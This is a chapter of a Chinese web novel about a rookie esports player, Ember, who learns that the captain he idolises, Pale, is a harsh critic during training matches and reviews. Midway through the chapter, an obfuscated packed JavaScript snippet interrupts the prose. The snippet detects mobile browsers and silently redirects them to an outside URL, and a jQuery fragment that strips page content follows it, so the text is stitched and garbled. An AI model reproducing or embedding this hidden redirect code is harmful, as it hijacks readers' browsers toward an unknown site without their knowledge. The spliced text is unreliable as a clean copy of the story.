二楼窗口，余烬的猛地缩回脖子，后背紧紧贴在冰凉的墙壁上，屏住呼吸，一动不敢动。
他看见我了？
他不知道自己为什么要躲，只是在那双清亮的眼睛看过来的瞬间，一股近乎本能的慌乱攫住了他，让他下意识地藏了起来。
也许他只是单纯地不想破坏眼前这幕他从未想象过的，属于队长的另一面。
楼下草坪上，江屿白微微蹙眉，疑惑地又扫了一眼二楼的窗户。那里空荡荡的，只有窗帘在微风中轻轻晃动。
系统：【……宿主，目标人物余烬已经出现，请宿主尽快开始执行任务，不要玩物丧志。】
【嗯嗯，知道了知道了。】江屿白在心底敷衍地回应，目光重新落回脚边热情蹭着他的小狗上。小家伙湿漉漉的鼻头拱着他的手心，尾巴摇得欢快，眼巴巴地望着他手里的飞盘。
江屿白脸上那点疑惑瞬间消散，重新被轻松的笑意取代：【急什么？任务又跑不了。今天基地难得人少，主角又在训练室待着，我好久没跟大黄玩了，再玩会儿。】他一边说着，一边蹲下身，轻轻揉了揉大黄毛茸茸的下巴。
“呜……”大黄舒服得眯起眼睛，喉咙里发出满足的呼噜声，随即更加激动地伸出舌头，热情地舔舐着江屿白的手腕和脸颊，弄得他痒得直笑，不得不微微后仰躲避。
窗后，余烬小心翼翼地再次探出一点视线，屏息凝视着楼下那个与小狗嬉闹的身影。阳光勾勒出江屿白挺拔的轮廓，他脸上的笑容纯粹而明亮，带着一种少年气的恣意。
这就是队长真实的模样吗？这样的人会是网上评价的那个“操作封神但刻薄又毒舌的魔鬼”，是前辈口中那个“为人严厉又不近人情的队长”吗？
余烬再次小心翼翼地探出一点视线，看着楼下草坪上那个被大黄扑得踉跄，笑得毫无负担的青年，一个念头如同破土的嫩芽，不受控制地在余烬心中滋生、蔓延：
也许Pale队长其实是一个很温柔的人，只是大家对他有误解。
他一定是把所有的严苛都留在了赛场上，为了追求胜利，为了守护BZN的荣耀，私下里，他也会和可爱的狗狗玩耍，也会笑得这样温暖和煦。
余烬的心跳再次不受控制地加速，血液奔涌着冲向耳膜。他用一个带着梦幻色彩的滤镜，构建着眼前这个人的形象，Pale是他的偶像，是带领BZN登顶世界之巅，手握双冠的传奇选手，是他仰望了许久，如今终于有机会靠近的星辰，这样的队长，怎么会是网上说的魔鬼呢？
他相信着自己的判断，然而现实很快就给了他沉重的一击，将他精心构筑的滤镜砸得粉碎。
第一次训练赛。
余烬被安排和主力队员一起打训练赛，对手是另一个强队。他坐在电脑前，手指因为激动和紧张而微微颤抖——他终于能和Pale并肩作战了，虽然不是正式比赛，但这已经是他梦寐以求的时刻。
可是他太想表现了，太想在偶像面前证明自己配得上站在他身边。结果，一次关键的团战支援，他因为过度紧张导致走位失误，被对手抓住机会秒杀，被打开一个缺口，导致团战溃败。
“走位都不会？手抖成这样，”江屿白的声音传来，“不如去楼下炒河粉，来这里打什么职业？”
冰冷的话语像一盆冰水，瞬间浇灭了余烬所有的激动和热血。他低着头，手指紧紧抠着键盘边缘，他想辩解，想说自己太紧张，想说自己下次一定不会。但最终，他只是低低地应了一声：“……知道了，队长。”
没关系，他想，是自己确实有问题，手太抖了。队长训斥得没错，严格要求才能进步。
第二次，训练赛后的复盘。
投影上播放着关键团战的失误画面。江屿白站在战术板前，指尖点着余烬的ID。
“这里，Ember。”他平静地说，“对方打野明显在靠，你压线过深，毫无警觉。被包夹后技能交得稀烂，慌乱中把点燃给了辅助？”
他放下激光笔，目光扫过脸色煞白的余烬：“就你这种心态，跟纸糊的一样，一碰就碎。这种状态首发上去送吗？BZN不是托儿所。”
余烬坐在下面，感觉无数道目光若有若无地扫过他，脸上火辣辣的。他把难受咽下去，心想，电竞本来就很残酷，队长说得对，心态不稳是致命伤。何况，队长本身是个温柔的人，现在这样严厉，也是关心他才对他这么苛刻。
第三次，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326305|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深夜的走廊。
训练室只剩下余烬一个人。他拒绝了队友休息的邀请，一遍遍练习着白天失误的操作。他渴望站在赛场上，更渴望站在那个有Pale的赛场上，和他一起并肩作战，一起捧起那座梦寐以求的奖杯。
脚步声在空旷的走廊里响起，由远及近。余烬心中一紧，下意识地挺直了背脊，手指更加用力地敲击着键盘，希望能展现自己加练的努力。
江屿白的身影出现在门口，大概是路过。他停下脚步，目光掠过屏幕上余烬正在进行的枯燥练习的昏黄的灯光下，他嘴角勾起一抹毫不掩饰的讥诮弧度。
“就凭你现在这种练法，除了把手练废还能练出什么？”
他带着一种近乎残忍的笃定：
“照你这样下去，冠军下辈子再考虑吧。”
“冠军”。
这两个字像一把淬毒的匕首，精准无比地捅进了余烬心底最珍视的地方。
《幽冥》的世界冠军奖杯被称为“恒星”，是他一直以来最渴望的梦想，不仅仅是因为它代表着这个游戏的最高荣誉，更因为……Pale，他的队长，他的偶像，手握两座“恒星”奖杯。
他曾在无数个日夜，反复观看Pale夺冠的录像。看着他如何在绝境中力挽狂澜，看着他如何以神乎其技的操作撕裂对手的防线，看着他最终站上那万众瞩目的颁奖台，金色的雨落在他身上，他高举奖杯，光芒万丈。
那个台上光彩夺目的Pale，那个站在中央成为全场目光焦点的Pale，那个下颌微抬享受万千荣誉的Pale，他想看看他眼中是怎样的风景，他想知道他心里是怎样的心情，他想知道他感受到的是怎样的荣光，他想……他想离Pale近一点。
这句讽刺将他所有的努力和憧憬贬低得一文不值，几乎抽干了他所有的锐气。
但他不敢放松，只是更加用力地训练。他不敢再欺骗自己Pale是关心他，那个和Pale一起站上颁奖台的梦想像风中残烛般摇曳，却依然是他黑暗中唯一的光亮。他只能怀揣着这几乎被碾碎的梦想，继续机械麻木地练习，试图抓住那渺茫的希望。
然而击碎他最后一丝妄想的转折，很快就到来了。